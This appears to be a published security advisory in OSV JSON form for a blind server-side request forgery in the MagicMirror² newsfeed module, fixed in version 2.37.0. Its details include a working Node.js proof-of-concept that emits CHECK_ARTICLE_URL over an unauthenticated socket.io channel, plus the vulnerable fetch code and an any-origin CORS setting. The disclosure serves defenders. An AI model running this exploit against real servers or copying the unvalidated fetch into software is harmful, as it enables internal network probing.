Vulnerability — Blind SSRF via CHECK_ARTICLE_URL (MagicMirror² newsfeed)

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "magicmirror"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.37.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-63642"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-18T17:26:46Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# Vulnerability \u2014 Blind SSRF via `CHECK_ARTICLE_URL` (MagicMirror\u00b2 newsfeed)\n\n\u003e Analysis of the PoC `exploit-ssrf-newsfeed.js`.\n\u003e Target: `newsfeed/node_helper.js` of MagicMirror\u00b2, socket.io namespace `/newsfeed`.\n\n---\n\n## Identification\n\n| Field | Value |\n|-------|-------|\n| **PoC file** | `exploit-ssrf-newsfeed.js` |\n| **Endpoint** | socket.io namespace `/newsfeed`, notification `CHECK_ARTICLE_URL` |\n| **Precondition** | reach the mirror\u0027s HTTP port (no authentication required) |\n\n---\n\n## Description\n\nThe `checkArticleUrl()` function in `newsfeed/node_helper.js` runs `fetch(url, { method: \"HEAD\" })` with **zero validation** of the URL and returns `ARTICLE_URL_STATUS { url, canFrame }`.\n\nThis gives the attacker a **boolean + timing oracle** to map internal hosts and ports: presence, absence, and response time reveal which internal services are alive. It is a \"blind-ish\" SSRF \u2014 the attacker doesn\u0027t see the body, but forces the server-side request and observes the effect on the target.\n\nThe actual proof is observed **on the target side** (the server-side HEAD shows up in the internal service\u0027s log), since the `canFrame` field alone leaks little.\n\n---\n\n## Root cause: unauthenticated socket.io channel + permissive CORS\n\nThe socket.io server accepts connections from **any origin** and with **no authentication**:\n\n```js\nconst io = new Server(server, {\n  cors: { origin: /.*$/, credentials: true }\n});\n```\n\nThe `/newsfeed` namespace registers the handler without checking who is connected (**CWE-306**). Any process or browser tab that can reach the mirror\u0027s port can emit the notification.\n\n---\n\n## Exploit (`exploit-ssrf-newsfeed.js`)\n\n```js\nconst { io } = require(\"socket.io-client\");\nconst TARGET = process.env.MM || \"https://target/\";\nconst URL_TO_HIT = process.env.SSRF_URL || \"https://webhook.site\";\nconst socket = io(`${TARGET}/newsfeed`, { path: \"/socket.io\", transports: [\"websocket\", \"polling\"] });\n\nsocket.onAny((event, payload) =\u003e {\n\tif (event === \"ARTICLE_URL_STATUS\") {\n\t\tconsole.log(`[+] ARTICLE_URL_STATUS: ${JSON.stringify(payload)}`);\n\t\tconsole.log(\"[!!!] Server performed a server-side HEAD request to the internal host (SSRF).\");\n\t\tprocess.exit(0);\n\t}\n});\nsocket.on(\"connect\", () =\u003e {\n\tconsole.log(`[*] Connected to ${TARGET}/newsfeed (no auth). CHECK_ARTICLE_URL -\u003e ${URL_TO_HIT}`);\n\tsocket.emit(\"CHECK_ARTICLE_URL\", { url: URL_TO_HIT });\n});\nsetTimeout(() =\u003e { console.log(\"[*] timeout\"); process.exit(1); }, 12000);\n```\n\n---\n\n## Vulnerable target code (pattern)\n\n```js\nasync checkArticleUrl(url) {\n  const res = await fetch(url, { method: \"HEAD\" });\n  const canFrame = !res.headers.get(\"x-frame-options\")\n                \u0026\u0026 !/frame-ancestors/i.test(res.headers.get(\"content-security-policy\") || \"\");\n  this.sendSocketNotification(\"ARTICLE_URL_STATUS\", { url, canFrame });\n}\n```\n\n---\n\n## Impact\n\n- **Internal network scanning / port scanning**: presence, absence, and response time reveal which internal hosts and ports are alive.\n- Forcing server-side requests to internal services (the HEAD reaches the target, as observed in the `mm-internal` log referenced by the PoC).\n- Although it\u0027s HEAD (no body), it serves as a **reconnaissance primitive** and a trigger for side effects on endpoints that react to GET/HEAD.\n\n---\n\n\n\n### References\n- CWE-918: Server-Side Request Forgery (SSRF)\n- CWE-306: Missing Authentication for Critical Function\n- CWE-942: Permissive Cross-domain Policy with Untrusted Domains\n- OWASP: SSRF Prevention Cheat Sheet\n\n\u003e This PoC and report are intended solely for authorized security testing / research in a controlled lab environment.",
  "id": "GHSA-998g-7v5w-cr7g",
  "modified": "2026-08-18T17:26:46Z",
  "published": "2026-08-18T17:26:46Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MagicMirrorOrg/MagicMirror/security/advisories/GHSA-998g-7v5w-cr7g"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MagicMirrorOrg/MagicMirror/pull/4169"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MagicMirrorOrg/MagicMirror/commit/58c2a5e675a7d367b64d72e1d35680d202ff5c9f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MagicMirrorOrg/MagicMirror"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MagicMirrorOrg/MagicMirror/releases/tag/v2.37.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "MagicMirror newsfeed Socket.IO notification allows blind server-side request forgery"
}